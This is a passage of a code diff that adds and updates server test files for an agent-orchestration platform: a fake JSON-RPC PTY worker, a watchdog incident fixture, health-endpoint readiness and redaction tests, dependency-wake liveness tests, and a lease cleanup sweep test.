+      // Reply with no worker session id, so the host terminalizes the route.
+      send({ jsonrpc: "2.0", id: message.id, result: {} });
+      return;
+    }
+
+    const reply = () =>
+      send({ jsonrpc: "2.0", id: message.id, result: { workerSessionId } });
+    reply();
+    if (mode === "duplicate-open-reply") {
+      // Send a second open reply for the same request id. The host drops it.
+      reply();
+    }
+
+    // Emit the scripted output and the exit after the open reply, so the host
+    // binds the route first.
+    setImmediate(() => {
+      const outputs = Array.isArray(directive.outputs) ? directive.outputs : [];
+      for (const entry of outputs) {
+        send({
+          jsonrpc: "2.0",
+          method: "setupTokenPty.output",
+          params: {
+            workerSessionId: entry.sid ?? workerSessionId,
+            chunk: entry.chunk,
+          },
+        });
+      }
+      if (typeof directive.exitCode === "number") {
+        send({
+          jsonrpc: "2.0",
+          method: "setupTokenPty.exit",
+          params: { workerSessionId, exitCode: directive.exitCode },
+        });
+      }
+    });
+    return;
+  }
+
+  if (method === "setupTokenPtyInput") {
+    // Echo the input back as one output notification for the bound session, so a
+    // test proves the input reaches the worker and the output routes back.
+    for (const entry of routes.values()) {
+      if (entry.workerSessionId === params.workerSessionId) {
+        send({
+          jsonrpc: "2.0",
+          method: "setupTokenPty.output",
+          params: { workerSessionId: entry.workerSessionId, chunk: `echo:${params.data}` },
+        });
+      }
+    }
+    send({ jsonrpc: "2.0", id: message.id, result: null });
+    return;
+  }
+
+  if (method === "setupTokenPtyStop") {
+    send({ jsonrpc: "2.0", id: message.id, result: null });
+    return;
+  }
+
+  if (method === "setupTokenPtyClose") {
+    const entry = routes.get(params.hostRouteId);
+    routes.delete(params.hostRouteId);
+    const closeMode = entry ? entry.closeMode : "ack";
+    if (closeMode === "no-ack") {
+      // Never reply, so the host close call times out and the host retires us.
+      return;
+    }
+    if (closeMode === "bad-ack") {
+      send({ jsonrpc: "2.0", id: message.id, result: { hostRouteId: "mismatched-route" } });
+      return;
+    }
+    send({ jsonrpc: "2.0", id: message.id, result: { hostRouteId: params.hostRouteId } });
+    return;
+  }
+
+  if (method === "shutdown") {
+    send({ jsonrpc: "2.0", id: message.id, result: {} });
+    setImmediate(() => process.exit(0));
+    return;
+  }
+
+  send({
+    jsonrpc: "2.0",
+    id: message.id,
+    error: { code: -32601, message: `Unhandled method: ${method}` },
+  });
+});
diff --git a/server/src/__tests__/fixtures/watchdog-confirmation-incident-8bef17ef.json b/server/src/__tests__/fixtures/watchdog-confirmation-incident-8bef17ef.json
new file mode 100644
index 00000000000..2a4f40503da
--- /dev/null
+++ b/server/src/__tests__/fixtures/watchdog-confirmation-incident-8bef17ef.json
@@ -0,0 +1,111 @@
+{
+  "schemaVersion": 1,
+  "capturedAt": "2026-08-14T13:00:00.000Z",
+  "purpose": "Immutable regression evidence for the stop-time authorization shape observed by the PAP-17159 watchdog. This fixture is historical evidence; do not use it to rewrite or re-resolve the source interaction.",
+  "companyId": "5cbe79ee-acb3-4597-896e-7662742593cd",
+  "watchdogRun": {
+    "id": "3ede42c3-efed-4658-9cff-eda1b5c08e6d",
+    "status": "succeeded",
+    "watchdogIssueId": "99c136ef-c48e-45ec-8854-22b7eb5cd512",
+    "watchdogIssueIdentifier": "PAP-17159",
+    "watchedIssueId": "80f77c6d-87b5-4585-b1a6-eaf2b68667de",
+    "watchedIssueIdentifier": "PAP-17100",
+    "stopFingerprint": "task_watchdog_stop:427b917d8175df5b4fc657e2f568c03fe8785fa7fd4f30b99d277d0b6f8970f2",
+    "startedAt": "2026-08-13T16:31:00.016Z",
+    "finishedAt": "2026-08-13T16:34:39.713Z"
+  },
+  "creatorRun": {
+    "id": "ec65375d-e43f-4f1c-808a-7a953477b5aa",
+    "status": "succeeded",
+    "issueId": "1c2d9fb4-f9d1-4dc3-baaa-7fc5971b52d4",
+    "issueIdentifier": "PAP-17237",
+    "startedAt": "2026-08-13T16:13:09.140Z",
+    "finishedAt": "2026-08-13T16:30:32.511Z"
+  },
+  "interactionAtStop": {
+    "id": "8bef17ef-6df4-4e52-8333-f3a789580be0",
+    "issueId": "1c2d9fb4-f9d1-4dc3-baaa-7fc5971b52d4",
+    "kind": "request_confirmation",
+    "status": "pending",
+    "continuationPolicy": "wake_assignee",
+    "requestedResolverPolicy": "board_only",
+    "effectiveResolverPolicy": "board_only",
+    "sourceRunId": "ec65375d-e43f-4f1c-808a-7a953477b5aa",
+    "createdByAgentId": "352aa64b-2a22-4d00-928f-71f5fb884f66",
+    "createdAt": "2026-08-13T16:30:24.126Z",
+    "target": {
+      "type": "issue_document",
+      "issueId": "1c2d9fb4-f9d1-4dc3-baaa-7fc5971b52d4",
+      "documentId": "b2066808-597e-4221-b41d-4065842a1a27",
+      "key": "plan",
+      "revisionId": "30821754-4bc9-4562-805f-e6ec04064449",
+      "revisionNumber": 1
+    }
+  },
+  "watchdogAuthorizationAtStop": {
+    "allowedOperations": [
+      "resolve_eligible_request_confirmation_plan_interactions"
+    ],
+    "deniedOperations": [
+      "resolve_board_only_or_security_sensitive_approvals"
+    ]
+  },
+  "stopSnapshot": {
+    "version": 2,
+    "materialLeaves": [
+      {
+        "issueId": "1c2d9fb4-f9d1-4dc3-baaa-7fc5971b52d4",
+        "status": "in_review",
+        "assigneeAgentId": "352aa64b-2a22-4d00-928f-71f5fb884f66",
+        "assigneeUserId": null,
+        "blockerIssueIds": [],
+        "pendingInteractionIds": ["8bef17ef-6df4-4e52-8333-f3a789580be0"],
+        "pendingApprovalIds": []
+      },
+      {
+        "issueId": "56c974ca-a506-4088-aa63-3b833c726094",
+        "status": "blocked",
+        "assigneeAgentId": "eae27ade-c807-4723-97e8-23808ad4fa14",
+        "assigneeUserId": null,
+        "blockerIssueIds": ["6d1707c9-2c37-4eb4-9cb5-1faf17f194e2"],
+        "pendingInteractionIds": [],
+        "pendingApprovalIds": []
+      },
+      {
+        "issueId": "6d1707c9-2c37-4eb4-9cb5-1faf17f194e2",
+        "status": "blocked",
+        "assigneeAgentId": "6176c74d-1b42-4f04-8aed-8af2f4cbe51f",
+        "assigneeUserId": null,
+        "blockerIssueIds": ["bebf57a9-1ad4-4e63-a454-ae6f28d14a99"],
+        "pendingInteractionIds": [],
+        "pendingApprovalIds": []
+      }
+    ],
+    "waitsByIssueId": {
+      "1c2d9fb4-f9d1-4dc3-baaa-7fc5971b52d4": {
+        "pendingInteractionIds": ["8bef17ef-6df4-4e52-8333-f3a789580be0"],
+        "pendingApprovalIds": []
+      }
+    }
+  },
+  "manualAcceptance": {
+    "status": "accepted",
+    "resolverPolicy": "board_only",
+    "resolvedByUserId": "1gQsX9Jbj5jk1Wu51YU1G0atxCRwj1Om",
+    "resolvedByAgentId": null,
+    "resolvedByRunId": null,
+    "resolvedAt": "2026-08-14T11:59:10.773Z",
+    "result": { "version": 1, "outcome": "accepted" }
+  },
+  "descendantPathAtVerification": [
+    { "identifier": "PAP-17159", "id": "99c136ef-c48e-45ec-8854-22b7eb5cd512", "relation": "watchdog_for", "status": "done" },
+    { "identifier": "PAP-17100", "id": "80f77c6d-87b5-4585-b1a6-eaf2b68667de", "relation": "watched_root", "status": "blocked" },
+    { "identifier": "PAP-17104", "id": "bebf57a9-1ad4-4e63-a454-ae6f28d14a99", "relation": "child", "status": "blocked" },
+    { "identifier": "PAP-17237", "id": "1c2d9fb4-f9d1-4dc3-baaa-7fc5971b52d4", "relation": "child", "status": "done" }
+  ],
+  "verification": {
+    "historicalInteractionStillPending": false,
+    "historicalInteractionIsCurrentWait": false,
+    "auditAttributionChanged": false
+  }
+}
diff --git a/server/src/__tests__/health-workspace-readiness.test.ts b/server/src/__tests__/health-workspace-readiness.test.ts
new file mode 100644
index 00000000000..d4d4d68d095
--- /dev/null
+++ b/server/src/__tests__/health-workspace-readiness.test.ts
@@ -0,0 +1,178 @@
+import { mkdtempSync, rmSync, writeFileSync } from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import express from "express";
+import request from "supertest";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import type { Db } from "@paperclipai/db";
+import { healthRoutes } from "../routes/health.js";
+import {
+  WORKSPACE_EXECUTION_WORKSPACE_COMPANY_ID_ENV_KEY,
+  WORKSPACE_EXECUTION_WORKSPACE_ID_ENV_KEY,
+  WORKSPACE_HANDOFF_KEY_ENV_KEY,
+  WORKSPACE_READINESS_TOKEN_ENV_KEY,
+  WORKSPACE_READINESS_TOKEN_HEADER,
+  WORKSPACE_READINESS_USER_EMAIL_HEADER,
+  WORKSPACE_READINESS_USER_ID_HEADER,
+} from "../auth/workspace-login-handoff.js";
+
+const tempDirs: string[] = [];
+const envKeys = [
+  "PAPERCLIP_CONFIG",
+  WORKSPACE_HANDOFF_KEY_ENV_KEY,
+  WORKSPACE_READINESS_TOKEN_ENV_KEY,
+  WORKSPACE_EXECUTION_WORKSPACE_ID_ENV_KEY,
+  WORKSPACE_EXECUTION_WORKSPACE_COMPANY_ID_ENV_KEY,
+] as const;
+const previousEnv = new Map<string, string | undefined>();
+
+function setEnv(values: Record<string, string>) {
+  for (const key of envKeys) {
+    if (!previousEnv.has(key)) previousEnv.set(key, process.env[key]);
+  }
+  for (const [key, value] of Object.entries(values)) process.env[key] = value;
+}
+
+function createSeededWorkspace() {
+  const dir = mkdtempSync(path.join(os.tmpdir(), "paperclip-health-workspace-"));
+  tempDirs.push(dir);
+  writeFileSync(path.join(dir, "config.json"), "{}\n", "utf8");
+  writeFileSync(
+    path.join(dir, "seed-manifest.json"),
+    JSON.stringify({ version: 2, state: "verified", phase: "complete", seedMode: "minimal" }),
+    "utf8",
+  );
+  return path.join(dir, "config.json");
+}
+
+/**
+ * Health's own queries (`instance_user_roles` / `invites` counts) and the
+ * readiness probe's queries both come through `select`; a count projection
+ * answers 1 and a row projection answers one row.
+ */
+function stubDb() {
+  return {
+    execute: vi.fn().mockResolvedValue([{ "?column?": 1 }]),
+    select: vi.fn((projection?: Record<string, unknown>) => {
+      const rows = projection && "count" in projection ? [{ count: 1 }] : [{ companyId: "company-1" }];
+      const chain: Record<string, unknown> = {};
+      for (const method of ["from", "where", "innerJoin", "limit", "orderBy"]) {
+        chain[method] = vi.fn(() => chain);
+      }
+      chain.then = (resolve: (value: unknown) => unknown) => Promise.resolve(rows).then(resolve);
+      return chain;
+    }),
+  } as unknown as Db;
+}
+
+function createApp(actorType: "board" | "none") {
+  const app = express();
+  app.use((req, _res, next) => {
+    (req as express.Request & { actor: { type: string } }).actor = { type: actorType };
+    next();
+  });
+  app.use(
+    "/api/health",
+    healthRoutes(stubDb(), {
+      deploymentMode: "authenticated",
+      deploymentExposure: "private",
+      authReady: true,
+      companyDeletionEnabled: true,
+    }),
+  );
+  return app;
+}
+
+afterEach(() => {
+  for (const [key, value] of previousEnv) {
+    if (value === undefined) delete process.env[key];
+    else process.env[key] = value;
+  }
+  previousEnv.clear();
+  for (const dir of tempDirs.splice(0)) rmSync(dir, { recursive: true, force: true });
+  vi.restoreAllMocks();
+});
+
+describe("GET /api/health workspace readiness", () => {
+  it("exposes readiness to a board actor of a managed workspace", async () => {
+    setEnv({
+      PAPERCLIP_CONFIG: createSeededWorkspace(),
+      [WORKSPACE_HANDOFF_KEY_ENV_KEY]: "handoff-key",
+      [WORKSPACE_EXECUTION_WORKSPACE_ID_ENV_KEY]: "ews-1",
+      [WORKSPACE_EXECUTION_WORKSPACE_COMPANY_ID_ENV_KEY]: "company-1",
+    });
+    const response = await request(createApp("board")).get("/api/health").expect(200);
+    expect(response.body.workspace).toMatchObject({
+      state: "ready",
+      databaseReady: true,
+      cloneDataReady: true,
+      authHandoffReady: true,
+      seedState: "verified",
+      executionWorkspaceId: "ews-1",
+      companyId: "company-1",
+    });
+  });
+
+  it("keeps public health redacted for an anonymous caller", async () => {
+    setEnv({
+      PAPERCLIP_CONFIG: createSeededWorkspace(),
+      [WORKSPACE_HANDOFF_KEY_ENV_KEY]: "handoff-key",
+      [WORKSPACE_READINESS_TOKEN_ENV_KEY]: "probe-token",
+      [WORKSPACE_EXECUTION_WORKSPACE_ID_ENV_KEY]: "ews-1",
+      [WORKSPACE_EXECUTION_WORKSPACE_COMPANY_ID_ENV_KEY]: "company-1",
+    });
+    const response = await request(createApp("none")).get("/api/health").expect(200);
+    expect(response.body.status).toBe("ok");
+    expect(response.body.workspace).toBeUndefined();
+    expect(response.body.serverInfo).toBeUndefined();
+  });
+
+  it("accepts the derived probe token on an otherwise redacted response", async () => {
+    setEnv({
+      PAPERCLIP_CONFIG: createSeededWorkspace(),
+      [WORKSPACE_HANDOFF_KEY_ENV_KEY]: "handoff-key",
+      [WORKSPACE_READINESS_TOKEN_ENV_KEY]: "probe-token",
+      [WORKSPACE_EXECUTION_WORKSPACE_ID_ENV_KEY]: "ews-1",
+      [WORKSPACE_EXECUTION_WORKSPACE_COMPANY_ID_ENV_KEY]: "company-1",
+    });
+    const response = await request(createApp("none"))
+      .get("/api/health")
+      .set(WORKSPACE_READINESS_TOKEN_HEADER, "probe-token")
+      .set(WORKSPACE_READINESS_USER_ID_HEADER, "user-1")
+      .set(WORKSPACE_READINESS_USER_EMAIL_HEADER, "operator@example.com")
+      .expect(200);
+    expect(response.body.workspace).toMatchObject({
+      state: "ready",
+      instanceId: expect.any(String),
+      authHandoffUserId: "user-1",
+    });
+    // Still redacted apart from readiness: the token buys one contract, not full detail.
+    expect(response.body.serverInfo).toBeUndefined();
+  });
+
+  it("rejects a wrong probe token without leaking readiness", async () => {
+    setEnv({
+      PAPERCLIP_CONFIG: createSeededWorkspace(),
+      [WORKSPACE_HANDOFF_KEY_ENV_KEY]: "handoff-key",
+      [WORKSPACE_READINESS_TOKEN_ENV_KEY]: "probe-token",
+      [WORKSPACE_EXECUTION_WORKSPACE_ID_ENV_KEY]: "ews-1",
+      [WORKSPACE_EXECUTION_WORKSPACE_COMPANY_ID_ENV_KEY]: "company-1",
+    });
+    const response = await request(createApp("none"))
+      .get("/api/health")
+      .set(WORKSPACE_READINESS_TOKEN_HEADER, "probe-token-but-wrong")
+      .expect(200);
+    expect(response.body.workspace).toBeUndefined();
+  });
+
+  it("omits readiness entirely on an instance that is not a cloned workspace", async () => {
+    const dir = mkdtempSync(path.join(os.tmpdir(), "paperclip-health-primary-"));
+    tempDirs.push(dir);
+    writeFileSync(path.join(dir, "config.json"), "{}\n", "utf8");
+    setEnv({ PAPERCLIP_CONFIG: path.join(dir, "config.json") });
+    delete process.env[WORKSPACE_HANDOFF_KEY_ENV_KEY];
+    delete process.env[WORKSPACE_EXECUTION_WORKSPACE_ID_ENV_KEY];
+    const response = await request(createApp("board")).get("/api/health").expect(200);
+    expect(response.body.workspace).toBeUndefined();
+  });
+});
diff --git a/server/src/__tests__/health.test.ts b/server/src/__tests__/health.test.ts
index a3551f568b9..2e5faaa77cd 100644
--- a/server/src/__tests__/health.test.ts
+++ b/server/src/__tests__/health.test.ts
@@ -116,6 +116,26 @@ describe("GET /health", () => {
     });
   });
 
+  it("lists operator-hidden settings and drops unknown keys", async () => {
+    const app = createApp(undefined, testServerInfo, undefined, {
+      PAPERCLIP_HIDDEN_SETTINGS: "instance.plugins,instance.adapters,instance.bogus",
+    });
+
+    const res = await request(app).get("/health");
+
+    expect(res.status).toBe(200);
+    expect(res.body.hiddenSettings).toEqual(["instance.plugins", "instance.adapters"]);
+  });
+
+  it("omits hiddenSettings entirely when nothing is hidden", async () => {
+    const app = createApp(undefined, testServerInfo, undefined, {});
+
+    const res = await request(app).get("/health");
+
+    expect(res.status).toBe(200);
+    expect(Object.prototype.hasOwnProperty.call(res.body, "hiddenSettings")).toBe(false);
+  });
+
   it("returns 200 when the database probe succeeds", async () => {
     const db = {
       execute: vi.fn().mockResolvedValue([{ "?column?": 1 }]),
diff --git a/server/src/__tests__/heartbeat-issue-liveness-escalation.test.ts b/server/src/__tests__/heartbeat-issue-liveness-escalation.test.ts
index 0412cfaf85a..1f6d5b72a86 100644
--- a/server/src/__tests__/heartbeat-issue-liveness-escalation.test.ts
+++ b/server/src/__tests__/heartbeat-issue-liveness-escalation.test.ts
@@ -72,6 +72,7 @@ import { instanceSettingsService } from "../services/instance-settings.ts";
 import { issueService } from "../services/issues.ts";
 import { runningProcesses } from "../adapters/index.ts";
 import { DEFAULT_LIVENESS_REESCALATION_COOLDOWN_MS } from "../services/recovery/service.ts";
+import { buildIssueBlockersResolvedWakeStateKey } from "../services/issue-dependency-wakeups.ts";
 
 const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
 const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
@@ -484,7 +485,12 @@ describeEmbeddedPostgres("heartbeat issue graph liveness escalation", () => {
       .then((rows) => rows[0] ?? null);
 
     expect(wake?.reason).toBe("issue_blockers_resolved");
-    expect(wake?.idempotencyKey).toBe(`issue_blockers_resolved:${blockedIssueId}:${blockerIssueId}`);
+    expect(wake?.idempotencyKey).toBe(
+      buildIssueBlockersResolvedWakeStateKey({
+        dependentIssueId: blockedIssueId,
+        blockerIssueIds: [blockerIssueId],
+      }),
+    );
     expect(["queued", "claimed", "completed"]).toContain(wake?.status);
 
     const events = await db
@@ -522,7 +528,12 @@ describeEmbeddedPostgres("heartbeat issue graph liveness escalation", () => {
       .then((rows) => rows[0] ?? null);
 
     expect(wake?.reason).toBe("issue_blockers_resolved");
-    expect(wake?.idempotencyKey).toBe(`issue_blockers_resolved:${blockedIssueId}:${blockerIssueId}`);
+    expect(wake?.idempotencyKey).toBe(
+      buildIssueBlockersResolvedWakeStateKey({
+        dependentIssueId: blockedIssueId,
+        blockerIssueIds: [blockerIssueId],
+      }),
+    );
     expect(["queued", "claimed", "completed"]).toContain(wake?.status);
 
     const events = await db
@@ -564,14 +575,23 @@ describeEmbeddedPostgres("heartbeat issue graph liveness escalation", () => {
       .then((rows) => rows[0] ?? null);
     expect(wake).toMatchObject({
       reason: "issue_blockers_resolved",
-      idempotencyKey: `issue_blockers_resolved:${blockedIssueId}:${blockerIssueId}`,
+      idempotencyKey: buildIssueBlockersResolvedWakeStateKey({
+        dependentIssueId: blockedIssueId,
+        blockerIssueIds: [blockerIssueId],
+      }),
     });
   });
 
   it("retries a resolved dependency wake when the prior wake was skipped as stale", async () => {
     const { companyId, agentId, blockedIssueId, blockerIssueId } =
       await seedResolvedDependencyBackstopFixture({ workspaceState: "none" });
-    const idempotencyKey = `issue_blockers_resolved:${blockedIssueId}:${blockerIssueId}`;
+    // The route-time wake writes the level-triggered state key. A skip records a
+    // `skipped` row with that key. `skipped` is not an in-flight status, so the
+    // backstop must still re-emit for the same ready state.
+    const idempotencyKey = buildIssueBlockersResolvedWakeStateKey({
+      dependentIssueId: blockedIssueId,
+      blockerIssueIds: [blockerIssueId],
+    });
     await db.insert(agentWakeupRequests).values({
       companyId,
       agentId,
@@ -653,7 +673,10 @@ describeEmbeddedPostgres("heartbeat issue graph liveness escalation", () => {
       .then((rows) => rows[0] ?? null);
     expect(wake).toMatchObject({
       reason: "issue_blockers_resolved",
-      idempotencyKey: `issue_blockers_resolved:${blockedIssueId}:${blockerIssueId}`,
+      idempotencyKey: buildIssueBlockersResolvedWakeStateKey({
+        dependentIssueId: blockedIssueId,
+        blockerIssueIds: [blockerIssueId],
+      }),
     });
   });
 
@@ -716,6 +739,79 @@ describeEmbeddedPostgres("heartbeat issue graph liveness escalation", () => {
     );
   });
 
+  it("heals a multi-blocker dependent when only a completed wake for an earlier blocker exists", async () => {
+    await enableAutoRecovery();
+    const { companyId, agentId, blockedIssueId, blockerIssueId } =
+      await seedResolvedDependencyBackstopFixture({ workspaceState: "none" });
+    const secondBlockerIssueId = randomUUID();
+    await db.insert(issues).values({
+      id: secondBlockerIssueId,
+      companyId,
+      title: "Earlier completed blocker",
+      status: "done",
+      priority: "medium",
+      issueNumber: 3,
+      identifier: "R-MULTI-3",
+    });
+    await db.insert(issueRelations).values({
+      companyId,
+      issueId: secondBlockerIssueId,
+      relatedIssueId: blockedIssueId,
+      type: "blocks",
+    });
+
+    // An earlier partial resolution left a `completed` per-edge wake. The bug was
+    // that this stale wake suppressed the wake for the current ready state. The
+    // level-triggered dedup keys on the full blocker set, so this completed wake
+    // no longer strands the dependent.
+    await db.insert(agentWakeupRequests).values({
+      companyId,
+      agentId,
+      source: "automation",
+      triggerDetail: "system",
+      reason: "issue_blockers_resolved",
+      payload: {
+        issueId: blockedIssueId,
+        resolvedBlockerIssueId: secondBlockerIssueId,
+      },
+      status: "completed",
+      finishedAt: new Date(),
+      idempotencyKey: `issue_blockers_resolved:${blockedIssueId}:${secondBlockerIssueId}`,
+    });
+
+    const readiness = await issueService(db).getDependencyReadiness(blockedIssueId);
+    expect(readiness.isDependencyReady).toBe(true);
+
+    const result = await heartbeatService(db).reconcileIssueGraphLiveness();
+
+    expect(result.dependencyWakesHealed).toBe(1);
+    expect(result.dependencyWakeIssueIds).toEqual([blockedIssueId]);
+    expect(result.dependencyWakeExistingSkipped).toBe(0);
+
+    const stateKey = buildIssueBlockersResolvedWakeStateKey({
+      dependentIssueId: blockedIssueId,
+      blockerIssueIds: readiness.blockerIssueIds,
+    });
+    const healedWake = await db
+      .select({ status: agentWakeupRequests.status, idempotencyKey: agentWakeupRequests.idempotencyKey })
+      .from(agentWakeupRequests)
+      .where(and(eq(agentWakeupRequests.companyId, companyId), eq(agentWakeupRequests.idempotencyKey, stateKey)))
+      .then((rows) => rows[0] ?? null);
+    expect(healedWake).not.toBeNull();
+    expect(["queued", "claimed", "completed"]).toContain(healedWake?.status);
+
+    // A second reconciliation pass finds the state-key wake and stays bounded:
+    // it heals nothing more and never enqueues a second wake for the same state.
+    const secondPass = await heartbeatService(db).reconcileIssueGraphLiveness();
+    expect(secondPass.dependencyWakesHealed).toBe(0);
+
+    const stateKeyWakes = await db
+      .select({ id: agentWakeupRequests.id })
+      .from(agentWakeupRequests)
+      .where(and(eq(agentWakeupRequests.companyId, companyId), eq(agentWakeupRequests.idempotencyKey, stateKey)));
+    expect(stateKeyWakes).toHaveLength(1);
+  });
+
   it("counts null dependency wake returns as deferred instead of enqueue failures", async () => {
     await enableAutoRecovery();
     const { companyId, agentId } =
diff --git a/server/src/__tests__/heartbeat-pending-cleanup-sweep.test.ts b/server/src/__tests__/heartbeat-pending-cleanup-sweep.test.ts
new file mode 100644
index 00000000000..1a6babe409d
--- /dev/null
+++ b/server/src/__tests__/heartbeat-pending-cleanup-sweep.test.ts
@@ -0,0 +1,1346 @@
+import { randomUUID } from "node:crypto";
+import { eq, sql } from "drizzle-orm";
+import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  agents,
+  companies,
+  createDb,
+  environmentLeases,
+  environments,
+} from "@paperclipai/db";
+import {
+  getEmbeddedPostgresTestSupport,
+  startEmbeddedPostgresTestDatabase,
+} from "./helpers/embedded-postgres.js";
+
+const mockTelemetryClient = vi.hoisted(() => ({ track: vi.fn() }));
+vi.mock("../telemetry.ts", () => ({ getTelemetryClient: () => mockTelemetryClient }));
+
+vi.mock("../middleware/logger.js", () => ({
+  logger: {
+    child: vi.fn(function child() {
+      return this;
+    }),
+    trace: vi.fn(),
+    debug: vi.fn(),
+    info: vi.fn(),
+    warn: vi.fn(),
+    error: vi.fn(),
+    fatal: vi.fn(),
+  },
+  httpLogger: vi.fn(),
+}));
+
+import { logger } from "../middleware/logger.ts";
+import { heartbeatService, type HeartbeatEnvironmentRuntime } from "../services/heartbeat.ts";
+
+const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
+const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
+
+if (!embeddedPostgresSupport.supported) {
+  console.warn(
+    `Skipping embedded Postgres pending_cleanup sweep tests on this host: ${
+      embeddedPostgresSupport.reason ?? "unsupported environment"
+    }`,
+  );
+}
+
+// The sweep reads and writes its retry state under these lease metadata keys.
+const ATTEMPTS_KEY = "pendingCleanupRetryAttempts";
+const CAP_WARNED_KEY = "pendingCleanupRetryCapWarned";
+const ATTEMPT_CAP = 5;
+// The sweep reads at most this many oldest pending_cleanup rows per tick.
+const SWEEP_PAGE_SIZE = 20;
+
+describeEmbeddedPostgres("heartbeat sweepPendingCleanupLeases", () => {
+  let db!: ReturnType<typeof createDb>;
+  let tempDb: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>> | null = null;
+
+  beforeAll(async () => {
+    tempDb = await startEmbeddedPostgresTestDatabase("paperclip-pending-cleanup-sweep-");
+    db = createDb(tempDb.connectionString);
+  }, 20_000);
+
+  beforeEach(() => {
+    vi.mocked(logger.warn).mockClear();
+    vi.mocked(logger.error).mockClear();
+  });
+
+  afterEach(async () => {
+    await db.delete(environmentLeases);
+    await db.delete(environments);
+    await db.delete(agents);
+    await db.delete(companies);
+  });
+
+  afterAll(async () => {
+    await tempDb?.cleanup();
+  });
+
+  async function seedCompanyAndEnvironment() {
+    const companyId = randomUUID();
+    const environmentId = randomUUID();
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Paperclip",
+      issuePrefix: `T${companyId.replace(/-/g, "").slice(0, 6).toUpperCase()}`,
+      requireBoardApprovalForNewAgents: false,
+    });
+    await db.insert(environments).values({
+      id: environmentId,
+      name: "Fake Sandbox",
+      driver: "sandbox",
+      status: "active",
+      config: { provider: "fake", image: "ubuntu:24.04" },
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    return { companyId, environmentId };
+  }
+
+  async function insertPendingCleanupLease(input: {
+    companyId: string;
+    environmentId: string | null;
+    updatedAt: Date;
+    metadata?: Record<string, unknown>;
+  }): Promise<string> {
+    const id = randomUUID();
+    await db.insert(environmentLeases).values({
+      id,
+      companyId: input.companyId,
+      environmentId: input.environmentId,
+      status: "pending_cleanup",
+      leasePolicy: "reuse_by_environment",
+      provider: "fake",
+      providerLeaseId: `sandbox://fake/${id}`,
+      cleanupStatus: "failed",
+      metadata: { driver: "sandbox", ...(input.metadata ?? {}) },
+      acquiredAt: input.updatedAt,
+      lastUsedAt: input.updatedAt,
+      releasedAt: input.updatedAt,
+      createdAt: input.updatedAt,
+      updatedAt: input.updatedAt,
+    });
+    return id;
+  }
+
+  function fakeRuntime(
+    destroyRunLease: HeartbeatEnvironmentRuntime["destroyRunLease"],
+  ): HeartbeatEnvironmentRuntime {
+    return { destroyRunLease } as unknown as HeartbeatEnvironmentRuntime;
+  }
+
+  // An orphan ephemeral lease that a failed acquire records. The sweep tears it
+  // down through retryPendingSandboxTeardown, not through destroyRunLease.
+  async function insertOrphanEphemeralLease(input: {
+    companyId: string;
+    environmentId: string | null;
+    updatedAt: Date;
+    metadata?: Record<string, unknown>;
+  }): Promise<string> {
+    const id = randomUUID();
+    await db.insert(environmentLeases).values({
+      id,
+      companyId: input.companyId,
+      environmentId: input.environmentId,
+      status: "pending_cleanup",
+      leasePolicy: "ephemeral",
+      provider: "fake",
+      providerLeaseId: `sandbox://fake/${id}`,
+      cleanupStatus: "failed",
+      metadata: { driver: "sandbox", provider: "fake", ...(input.metadata ?? {}) },
+      acquiredAt: input.updatedAt,
+      lastUsedAt: input.updatedAt,
+      releasedAt: input.updatedAt,
+      createdAt: input.updatedAt,
+      updatedAt: input.updatedAt,
+    });
+    return id;
+  }
+
+  it("test_pending_cleanup_sweep_retries_and_destroys_lease", async () => {
+    const { companyId, environmentId } = await seedCompanyAndEnvironment();
+    const leaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+    });
+
+    // The destroy succeeds on retry and moves the lease out of pending_cleanup.
+    const destroyRunLease = vi.fn(async ({ lease }: { lease: { id: string } }) => {
+      const now = new Date();
+      const row = await db
+        .update(environmentLeases)
+        .set({ status: "expired", cleanupStatus: "success", updatedAt: now })
+        .where(eq(environmentLeases.id, lease.id))
+        .returning()
+        .then((rows) => rows[0] ?? null);
+      return row ? { ...row, status: "expired" as const } : null;
+    });
+    const heartbeat = heartbeatService(db, {
+      environmentRuntime: fakeRuntime(destroyRunLease as HeartbeatEnvironmentRuntime["destroyRunLease"]),
+    });
+
+    const result = await heartbeat.sweepPendingCleanupLeases({ backoffMs: 0 });
+
+    expect(result).toEqual({ swept: 1, destroyed: 1, capped: 0 });
+    expect(destroyRunLease).toHaveBeenCalledTimes(1);
+    expect(destroyRunLease.mock.calls[0]?.[0]).toMatchObject({
+      failureReason: "pending_cleanup_retry",
+      lease: expect.objectContaining({ id: leaseId }),
+    });
+
+    const status = await db
+      .select({ status: environmentLeases.status })
+      .from(environmentLeases)
+      .where(eq(environmentLeases.id, leaseId))
+      .then((rows) => rows[0]?.status);
+    expect(status).toBe("expired");
+  });
+
+  it("test_pending_cleanup_sweep_respects_backoff_and_page_size", async () => {
+    const { companyId, environmentId } = await seedCompanyAndEnvironment();
+
+    // A lease touched inside the backoff window is not eligible yet.
+    await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(),
+    });
+
+    const destroyRunLease = vi.fn(async () => null);
+    const heartbeat = heartbeatService(db, {
+      environmentRuntime: fakeRuntime(destroyRunLease as HeartbeatEnvironmentRuntime["destroyRunLease"]),
+    });
+
+    const backoffResult = await heartbeat.sweepPendingCleanupLeases({ backoffMs: 5 * 60 * 1000 });
+    expect(backoffResult.swept).toBe(0);
+    expect(destroyRunLease).not.toHaveBeenCalled();
+
+    // Seed more eligible leases than one page holds. The sweep processes one
+    // page only.
+    const eligibleCount = 22;
+    for (let index = 0; index < eligibleCount; index += 1) {
+      await insertPendingCleanupLease({
+        companyId,
+        environmentId,
+        updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+      });
+    }
+
+    const pageResult = await heartbeat.sweepPendingCleanupLeases({ backoffMs: 5 * 60 * 1000 });
+    expect(pageResult.swept).toBe(20);
+    expect(destroyRunLease).toHaveBeenCalledTimes(20);
+  });
